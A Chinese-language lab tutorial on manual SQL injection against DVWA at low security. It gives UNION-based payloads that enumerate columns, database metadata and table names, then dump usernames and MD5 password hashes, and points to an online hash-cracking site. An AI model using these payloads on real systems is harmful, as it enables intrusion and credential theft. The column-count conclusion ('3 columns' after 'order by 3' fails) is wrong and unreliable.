SQL 注入基礎系列1——猜解資料庫
阿新 • • 發佈:2018-12-29
DVWA.security=low.SQL Injection
後臺查詢語句:
//後臺查詢Sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
//當user_id輸入1時,實際執行的Sql語句是
SELECT first_name, last_name FROM users WHERE user_id = '1';
1、確定資料表列數——1' order by 1#
//Mysql語法中,#後面的內容會被註釋掉 SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;
“order by 1” 指將第一列的資料按升序排列。
order by 1和order by 2都能正常返回資料,當“1' order by 3#”時,返回報錯資訊:
由此可知,該資料表只有3列。
2、聯合查詢,獲取資料庫資訊——union select
使用 union 查詢時,union左右兩側的查詢語句的列數要相同,否則會出錯。
- 獲取資料庫名稱、當前使用者
// 1' union select database(),user()# SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
- 獲取資料庫版本、當前作業系統資訊
//1' union select version(),@@version_compile_os#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
- 獲取dvwa資料庫中的表名
//1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#`;
可知,dvwa 資料庫有兩個資料表,分別是 guestbook 和 users 。
- 獲取使用者名稱、密碼——大膽猜測user表的使用者名稱、密碼欄位分別為:username和password
//1' union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select username,password from users#`;
哎呀,猜錯了~~,可是這個報錯資訊很給力啊
繼續,大膽猜測user表的使用者名稱欄位為:user
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
成功爆出使用者名稱、密碼。密碼採用 md5 進行加密,可以到www.cmd5.com進行解密。